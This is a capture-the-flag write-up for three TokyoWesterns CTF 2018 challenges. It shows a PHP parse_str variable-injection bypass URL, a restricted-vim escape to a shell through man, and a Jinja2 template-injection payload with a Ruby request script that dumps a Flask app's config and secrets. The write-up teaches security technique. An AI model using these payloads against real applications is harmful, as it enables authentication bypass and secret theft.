Information#
CTF#
- Name : TokyoWesterns CTF 4th 2018
- Website : tokyowesterns.github.io
- Type : Online
- Format : Jeopardy
- CTF Time : link
SimpleAuth - Web#
http://simpleauth.chal.ctf.westerns.tokyo/
<?php require_once 'flag.php'; if (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['action'])){ $action = $res['action']; } } if ($action === 'auth') { if (!empty($res['user'])) { $user = $res['user']; } if (!empty($res['pass'])) { $pass = $res['pass']; } if (!empty($user) && !empty($pass)) { $hashed_password = hash('md5', $user.$pass); } if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') { echo $flag; } else { echo 'fail :('; } } else { highlight_file(__FILE__); }
Here a ===
operator is used, no loose comparison is possible, and timing attack is nearly impossible.
$hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e'
There are no known vulnerability on hash()
, and it seems not possible to abuse input $user
and $pass
.
if (!empty($user) && !empty($pass)) {
$hashed_password = hash('md5', $user.$pass);
}
But take a look at the first part of the code:
if (!empty($_SERVER['QUERY_STRING'])) {
$query = $_SERVER['QUERY_STRING'];
$res = parse_str($query);
if (!empty($res['action'])){
$action = $res['action'];
}
}
As you can see parse_str
is used and the PHP manual is telling us that using parse_str
without result
parameter is a very bad idea.
This will dynamically set variables.
This will have a behavior similar to using extract, (I talked about it in a previous article c99.php : A backdoored backdoor).
We just need $hashed_password
not to be already set.
But $hashed_password
need $user
and $pass
to be defined.
And we have the choice not to create them so $hashed_password
will not be set either.:
if (!empty($res['user'])) {
$user = $res['user'];
}
if (!empty($res['pass'])) {
$pass = $res['pass'];
}
Now let's see the running PHP version by taking a look at server HTTP header:
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.0.31
DEPRECATED as of PHP 7.2.
So we are good to go:
http://simpleauth.chal.ctf.westerns.tokyo/?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e
.
The flag was TWCTF{d0_n0t_use_parse_str_without_result_param}
.
vimshell - Misc#
Can you escape from jail?
We begin with vim opened on this page:
diff --git a/src/normal.c b/src/normal.c
index 41c762332..0011afb77 100644
--- a/src/normal.c
+++ b/src/normal.c
@@ -274,7 +274,7 @@ static const struct nv_cmd
{'7', nv_ignore, 0, 0},
{'8', nv_ignore, 0, 0},
{'9', nv_ignore, 0, 0},
- {':', nv_colon, 0, 0},
+ // {':', nv_colon, 0, 0},
{';', nv_csearch, 0, FALSE},
{'<', nv_operator, NV_RL, 0},
{'=', nv_operator, 0, 0},
@@ -297,7 +297,7 @@ static const struct nv_cmd
{'N', nv_next, 0, SEARCH_REV},
{'O', nv_open, 0, 0},
{'P', nv_put, 0, 0},
- {'Q', nv_exmode, NV_NCW, 0},
+ // {'Q', nv_exmode, NV_NCW, 0},
{'R', nv_Replace, 0, FALSE},
{'S', nv_subst, NV_KEEPREG, 0},
{'T', nv_csearch, NV_NCH_ALW|NV_LANG, BACKWARD},
@@ -318,7 +318,7 @@ static const struct nv_cmd
{'d', nv_operator, 0, 0},
{'e', nv_wordcmd, 0, FALSE},
{'f', nv_csearch, NV_NCH_ALW|NV_LANG, FORWARD},
- {'g', nv_g_cmd, NV_NCH_ALW, FALSE},
+ // {'g', nv_g_cmd, NV_NCH_ALW, FALSE},
{'h', nv_left, NV_RL, 0},
{'i', nv_edit, NV_NCH, 0},
{'j', nv_down, 0, FALSE},
This is a patch they applied on vim, disabling us to use :
, Q
and g
shortcuts.
So we can't use something like :shell
or :!/bin/bash
.
I found a Vim Cheat Sheet. K
shortcut opens man page for word under the cursor.
So just press K
and we are in man now.
But their man
is not patched. So we can use !/bin/bash
to have a shell.
Then we just have to look around to find the flag:
vimshell@vimshell-fbc8f84bf-w82t8:/go$ whoami
vimshell
vimshell@vimshell-fbc8f84bf-w82t8:/go$ pwd
/go
vimshell@vimshell-fbc8f84bf-w82t8:/go$ ls ..
bin boot dev etc flag go home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var vim vimshell.patch
vimshell@vimshell-fbc8f84bf-w82t8:/go$ cat ../flag
TWCTF{the_man_with_the_vim}
Shrine - Web#
shrine is translated as jinja in Japanese.
The source code is:
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
This is a flask app using jinja template engine, let's try a basic {{ 7*7 }}
as a path: http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B7*7%7D%7D
.
This is resulting into 49
.
So we can make try an SSTI.
We notice this piece of code removing all of our parenthesis, so we can't use things like dir()
or __subclasses__()
.
s = s.replace('(', '').replace(')', '')
Then some global flask methods where removed:
>>> blacklist = ['config', 'self']
>>> ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
'{% set config=None%}{% set self=None%}'
So our request is always prefixed with {% set config=None%}{% set self=None%}
before being rendered by jinja2.
This is only disabling us from using config
or self
globals directly.
OddCoder used url_for
and its method __globals__
to access the current_app
, replacing self
.
So we can call config
from it.
{{ url_for.__globals__["current_app"].config }}
Here is a simple ruby script to make the request:
require 'net/http'
require 'cgi'
# URI
base_url = 'http://shrine.chal.ctf.westerns.tokyo/shrine/'
enc_payload = CGI.escape('{{ url_for.__globals__["current_app"].config }}').gsub('+', '%20')
uri = URI(base_url + enc_payload)
puts "[+] Requested URI: #{uri}"
# http config
http = Net::HTTP.new(uri.host, uri.port)
# prepare request
req = Net::HTTP::Get.new(uri)
# fire the request
res = http.request req
puts "[+] HTTP Response: \n"
puts CGI.unescapeHTML(res.body)
Output:
ruby req.rb
[+] Requested URI: http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B%20url_for.__globals__%5B%22current_app%22%5D.config%20%7D%7D
[+] HTTP Response:
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'FLAG': 'TWCTF{pray_f0r_sacred_jinja2}'}>
So http://shrine.chal.ctf.westerns.tokyo/shrine/{{ url_for.__globals__["current_app"].config["FLAG"] }}
results in TWCTF{pray_f0r_sacred_jinja2}
.